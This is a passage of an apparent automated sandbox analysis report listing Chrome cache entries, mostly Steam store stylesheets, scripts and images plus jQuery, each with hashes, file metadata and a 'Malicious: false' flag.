Preview:	.PNG........IHDR...i...i......q......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:6A6CBA1748F011ED87AC85834D48B374" xmpMM:InstanceID="xmp.iid:6A6CBA1648F011ED87AC85834D48B374" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9458924f-413a-d341-807d-07a2b5845494" stRef:documentID="adobe:docid:photoshop:e5c98063-70ca-a348-8dcf-646ae0b67b84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......^/IDATx.....U..

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7389
Entropy (8bit):	5.162675498505817
Encrypted:	false
SSDEEP:	192:zVJMkgIvek6vDbiaWL/TfsUQ6yUgkHsLBvpZX+KP:YFIjgszsmyisz19P
MD5:	659F75C3F7EE038DD2A4D66305D1DA6F
SHA1:	6DB767997054432978A76C09C4A4C453F3D4638D
SHA-256:	E458159DCE75486D40EF6BF8B240B7AC437FAF557D4FEED4FA8052DFBDDA62C1
SHA-512:	60BABF7221FA2A5E626C795E96A9DA6C5BB6DA894E10BA304BFE6A342C6202ADDE76F46F4BEEA10F8EDCE36E3FBC6B132799894BCE6376D05A90BE9BD8D20598
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/styles_mobile_about_v2.css?v=ZZ91w_fuA43S&l=english
Preview:	...responsive_page_template_content {...padding-bottom: 0;..}....#footer_spacer {...background-color: #171a21;..}....a {...color: #1A97FF;..}.....mobile_apps_page {...font-family: 'Motiva Sans';..}.....mobile_section_rows {...max-width: 940px;...margin: 0 auto;...display: flex;...flex-direction: row;..}.....mobile_section_columns {...display: flex;...flex-direction: column;...align-items: center;...justify-content: center;..}.....left_align {...align-items: flex-start;..}.....top-align {...justify-content: flex-start;..}.....fill_column {...width: 100%..}.....mobile_page_section {...padding: 50px 40px;..}.....mobile_page_header {...background: linear-gradient(130.49deg, #25282E 15.41%, #303641 59.02%);...font-style: normal;...padding: 24px;...color: #FFFFFF;..}.....header_item {...padding-bottom: 12px;..}.....mobile_got_apps {...font-weight: 800;...font-size: 40px;...line-height: 57px;...text-align: center;..}.....mobile_stay_connected {...font-weight: 700;...font-size: 20px;...line-he

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2612), with CRLF line terminators
Category:	downloaded
Size (bytes):	154404
Entropy (8bit):	5.337881533074874
Encrypted:	false
SSDEEP:	1536:D1l9Ah60MhmjGFh61e5lnl9bsPdVcTzWMnyN3qxVqGoteFANNfsflM6kQuOEmTMu:n0861e5/9b6dVcm9qVqZfrUEoIm
MD5:	444106254D61C24625741613608F5DA0
SHA1:	2D5B79109AB130C586F006EFF9B3132030E8EA83
SHA-256:	34E7C6C8A8962B8921E20C19BC00A204CACC2BC248D4A0663880EA7FFD03FD67
SHA-512:	96A6A6C6948DE8C819B552FCFA06F9BA13D8102C219E6E4C93D5913B6910AC13C78B1E3641A280377B7915A9BEF9A120C3EFE7B527885ADFF24BFFCFB0272CF7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&l=english
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1816
Entropy (8bit):	7.335413459481553
Encrypted:	false
SSDEEP:	48:mwqQNn2xkJ3n7OO8oPTFC+6vUycoKGCAHcDsr9CQ:6Y2w72o7Fh68yLdHcYr9CQ
MD5:	C8A9A5322C7A32D42405AEC4ECC91E8C
SHA1:	A6A04E08067EBBC6E9D70361FAD164CAB634BD9D
SHA-256:	02E650004D02B883D1F77E3C9AB18F556D470CC4F41500917D0CDA68EC62D197
SHA-512:	F057B313CE4AEED427AC04B1278A8FFE105843CD0998CAC5E01DDBCD53CAFFCB5584239646A73C40281D671D22C2E163E0FC3F1A589FFF9E9479CAC206EB241B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/search_icon_btn.png
Preview:	.PNG........IHDR...............c....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D62C327C9D6211E6BC85ED92E7B3F4DB" xmpMM:DocumentID="xmp.did:D62C327D9D6211E6BC85ED92E7B3F4DB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62C327A9D6211E6BC85ED92E7B3F4DB" stRef:documentID="xmp.did:D62C327B9D6211E6BC85ED92E7B3F4DB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`......IDATx.U.k.W.?....fg?21..hT.......H-..VQ.-.......`...(>H...R,B.7...t.iM.i01...nv....;....1...M....a...=...

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	702
Entropy (8bit):	6.805425587929178
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9roNN0kEW0YIzKwbpcdFYOiEscTlEkUJfT2:Ac1spMroN7AYiDbpcdFY8sipGb2
MD5:	E89EE7BC3EEF1CA9184F69758BA3FE36
SHA1:	1D33AE6EF98078966C625BBD7A67A5538DADF4CC
SHA-256:	9498210D8F9B4268D4396C6E0756A0F414895AE89C8ED5EA972E13B172E4DCD3
SHA-512:	D409E6B849F5A54CE98050A2049BA9AA210B73B1900C8A27E2DF2C91D601D678C0E81C1390774D1D2CA07799B48D9F1E8CCE2200F4735BF41575A68622973434
Malicious:	false
Reputation:	low
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . .."....................................-.........................1..!Aa.#.."..$2Qq...........................&......................1.!....."Aa...............?...j.V....+).6......o....J.$..........ezT.b.FK.`g.).=..?..S._..o.n:RmV...E.~T...3.\|....wf..4..0.....(d.....-.z.-...z....O.S.F1..+.N......R..G%z{r..M.$.............@...R"....P.e'aZ.EDT...-.4.$..........=..2.!...i-.FB...\|....z..i..g"d.\......>.ZaF................7'.}.[......'.....8..WH&Y.$...9....,.....he..1...rB..........:.:U..>u.(L...u.......6...h.P.4H.j..

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	dropped
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 617 x 617, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	156189
Entropy (8bit):	7.99475625198294
Encrypted:	true
SSDEEP:	3072:6P8wz0Ce7k5r0rl8bT/Ve+0GuwmplG6to6YisdGyMPGJGQRcwx:Ejznr5r0p83/VewmBtHfRkx
MD5:	9389E1E5441EBADDDC281F07CACE6EAD
SHA1:	B5C977584B910B46CC9E6843F2BD3B80DBBBA532
SHA-256:	A49736FDB66045A836A7699F03D728F9D663CA7472D4551B6D60827FD4147E70
SHA-512:	69252082731F799C6497956625C2F88E26DFDEC7FC9F1A13621FF37E12810F45FB37F90E93A7A8AE019641831A71212FA9D7D5697D74B622A948D8F88F05287A
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/mobile_chat/mobile_chat_english.png
Preview:	.PNG........IHDR...i...i......q......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:6A6CBA1748F011ED87AC85834D48B374" xmpMM:InstanceID="xmp.iid:6A6CBA1648F011ED87AC85834D48B374" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9458924f-413a-d341-807d-07a2b5845494" stRef:documentID="adobe:docid:photoshop:e5c98063-70ca-a348-8dcf-646ae0b67b84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......^/IDATx.....U..

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65256), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	212727
Entropy (8bit):	5.057034139530741
Encrypted:	false
SSDEEP:	3072:J2diEMmwmQErjMuf3FyJzr6oQHExLNOUA72xiLu:J26mwmQwHf1yl6oQHnS
MD5:	DBF83B0B06701F47D98E0D3C67E17F22
SHA1:	ADCDA5E5A4FC3F714AF57A04D37E29A8740B8A14
SHA-256:	5F3B1FA6AEEAED942D188BE3A1C725386699AB82F8FF0D5CED0DD7A81DC4C55A
SHA-512:	790C3DDBD271919B677DF96E5B17061EE9C39B1B4FBE21F3AFA487B66512399912C2B6B41A1CF19D97A74D7015F1137289B65FF9342BED4FE3EB4A1819C0D16D
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/shared_english-json.js?contenthash=b762b3c9fb67218683df
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[2256],{33800:e=>{e.exports=JSON.parse('{"language":"english","Steam_Platform":"Steam","Button_About":"About","Button_Append":"Append","Button_Back":"Back","Button_Cancel":"Cancel","Button_Close":"Close","Button_Clone":"Clone","Button_Confirm":"Confirm","Button_Copy":"Copy","Button_Copied":"Copied","Button_CopyClipboard":"Copy to Clipboard","Button_CopyLink":"Copy Link","Button_Continue":"Continue","Button_Create":"Create","Button_Delete":"Delete","Button_Discuss":"Discuss","Button_Dismiss":"Dismiss","Button_Edit":"Edit","Button_Learn":"Learn more here","Button_Publish":"Publish","Button_Published":"Published","Button_Post":"Post","Button_OK":"OK","Button_Done":"Done","Button_Overwrite":"Overwrite","Button_Retry":"Retry","Button_Remove":"Remove","Button_

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1526), with no line terminators
Category:	dropped
Size (bytes):	1526
Entropy (8bit):	5.75032363285845
Encrypted:	false
SSDEEP:	24:2jkm94oHPccXbjZy+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQop:iEcpxKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	B15969827D0F6431C1A98EDF467AD051
SHA1:	FC5B77E9B5631B47E551BFF87174ED5C0417C25F
SHA-256:	5620E62E0F92C56CA9827CEF87364B9A715287BEEAF1D309672657BFF847CC94
SHA-512:	68DC21165E532F73728923054647F13499D44BA31E475A15156C540F80FB246C3457747A4C05AC0F368BE2616F906E7B08E4C71FDBB38208D2C3C9C779A61DFF
Malicious:	false
Reputation:	low
